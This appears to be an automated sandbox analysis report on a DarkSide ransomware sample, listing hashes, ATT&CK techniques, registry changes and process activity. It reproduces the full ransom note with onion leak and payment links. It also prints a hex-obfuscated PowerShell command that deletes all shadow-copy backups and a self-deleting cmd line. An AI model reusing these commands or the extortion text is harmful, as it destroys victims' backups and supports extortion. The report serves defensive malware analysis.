darkside | 2b2aff0f96023927c709a40c979612bbf123ec59478d7f91a06d25e55f98460b

General

Target

Darkside.exe
Size

59KB
MD5

cfcfb68901ffe513e9f0d76b17d02f96
SHA1

766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
SHA256

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
SHA512

0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
SSDEEP

768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5

Score

10^/10

darkside credential_access defense_evasion discovery execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.80caa7ac.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Renames multiple (134) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1932 powershell.exe
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

pid	process
1932	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

Darkside.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\80caa7ac.BMP"	Darkside.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\80caa7ac.BMP"	Darkside.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

Darkside.exe

pid process

2432 Darkside.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2432	Darkside.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

Darkside.execmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Darkside.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

Darkside.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000\Control Panel\Desktop\WallpaperStyle = "10"	Darkside.exe

Modifies registry class 6 IoCs

Processes:

Darkside.exeMiniSearchHost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.80caa7ac	Darkside.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.80caa7ac\ = "80caa7ac"	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\80caa7ac\DefaultIcon	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\80caa7ac	Darkside.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\80caa7ac\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\80caa7ac.ico"	Darkside.exe
Key created	\REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

5556 NOTEPAD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeDarkside.exe

pid process

1932 powershell.exe
1932 powershell.exe
2432 Darkside.exe
2432 Darkside.exe

pid	process
5556	NOTEPAD.EXE

pid	process
1932	powershell.exe
1932	powershell.exe
2432	Darkside.exe
2432	Darkside.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

Darkside.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2432	Darkside.exe
Token: SeSecurityPrivilege	2432	Darkside.exe
Token: SeTakeOwnershipPrivilege	2432	Darkside.exe
Token: SeLoadDriverPrivilege	2432	Darkside.exe
Token: SeSystemProfilePrivilege	2432	Darkside.exe
Token: SeSystemtimePrivilege	2432	Darkside.exe
Token: SeProfSingleProcessPrivilege	2432	Darkside.exe
Token: SeIncBasePriorityPrivilege	2432	Darkside.exe
Token: SeCreatePagefilePrivilege	2432	Darkside.exe
Token: SeBackupPrivilege	2432	Darkside.exe
Token: SeRestorePrivilege	2432	Darkside.exe
Token: SeShutdownPrivilege	2432	Darkside.exe
Token: SeDebugPrivilege	2432	Darkside.exe
Token: SeSystemEnvironmentPrivilege	2432	Darkside.exe
Token: SeRemoteShutdownPrivilege	2432	Darkside.exe
Token: SeUndockPrivilege	2432	Darkside.exe
Token: SeManageVolumePrivilege	2432	Darkside.exe
Token: 33	2432	Darkside.exe
Token: 34	2432	Darkside.exe
Token: 35	2432	Darkside.exe
Token: 36	2432	Darkside.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeBackupPrivilege	2160	vssvc.exe
Token: SeRestorePrivilege	2160	vssvc.exe
Token: SeAuditPrivilege	2160	vssvc.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

MiniSearchHost.exe

pid process

5356 MiniSearchHost.exe

pid	process
5356	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

Darkside.exe

description	pid	process	target process
PID 2432 wrote to memory of 1932	2432	Darkside.exe	powershell.exe
PID 2432 wrote to memory of 1932	2432	Darkside.exe	powershell.exe
PID 2432 wrote to memory of 5288	2432	Darkside.exe	cmd.exe
PID 2432 wrote to memory of 5288	2432	Darkside.exe	cmd.exe
PID 2432 wrote to memory of 5288	2432	Darkside.exe	cmd.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Darkside.exe
"C:\Users\Admin\AppData\Local\Temp\Darkside.exe"
1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1932

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\Darkside.exe >> NUL
2⤵
- System Location Discovery: System Language Discovery
PID:5288

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2160

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5356

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\README.80caa7ac.TXT
1⤵
- Opens file in notepad (likely ransom note)
PID:5556

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

1

T1070

File Deletion

Modify Registry

Credential Access

Credentials from Password Stores

2

T1555

Credentials from Web Browsers

1

T1555.003

Windows Credential Manager

1

T1555.004

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

1

T1217

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
aa0a32b11dca7b04f4cc5fe8c55cb357

SHA1
00e354fd0754a7d721a270cdc08f970b9a3f6605

SHA256
e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1

SHA512
1db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
8f16eb240c6168b41004cca7306484e6

SHA1
da34df40f9b1d5b0f9fd49bd1d467879fb40cb06

SHA256
48c69824555f42932cc2a1272a03be650dde58a10239ba282e9314ec13ed273a

SHA512
96c4a859b024e531124139c28bebd4d6f53de3ae7bc378ea3c7662452525d4020d1a76f851651174418cae620c340e8677516a3a70933b2ff2cce6a71a349063

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
Filesize
10KB

MD5
cd6829f53a60318a54648f4ff9d694c2

SHA1
eda672c23f219a9cdbe740079412f5fbe04a157d

SHA256
5410184dfd5ef071de14c78cc7e9488049a85e313a3454250d53e974251ac906

SHA512
25a54ac013419868211b704a9b1f4cbc7c0a5b1a0e10cec09cd8eee3fbde7497e36c8e35f0506622eb9a47939c2c6b9590bf9bbf8d43508be13d7f85f7838ec9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v5dno0bf.rld.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\README.80caa7ac.TXT
Filesize
3KB

MD5
b58e2411168bbdbec635cf4001635db0

SHA1
c130cd9caaaa514a6b98c1168e10d44a989d191a

SHA256
652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

SHA512
87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

Download Submit
memory/1932-1-0x00007FF8C2C43000-0x00007FF8C2C45000-memory.dmp

Filesize
8KB

Download
memory/1932-10-0x000001AE6F000000-0x000001AE6F022000-memory.dmp

Filesize
136KB

Download
memory/1932-11-0x00007FF8C2C40000-0x00007FF8C3702000-memory.dmp

Filesize
10.8MB

Download
memory/1932-12-0x00007FF8C2C40000-0x00007FF8C3702000-memory.dmp

Filesize
10.8MB

Download
memory/1932-13-0x00007FF8C2C40000-0x00007FF8C3702000-memory.dmp

Filesize
10.8MB

Download
memory/1932-16-0x00007FF8C2C40000-0x00007FF8C3702000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads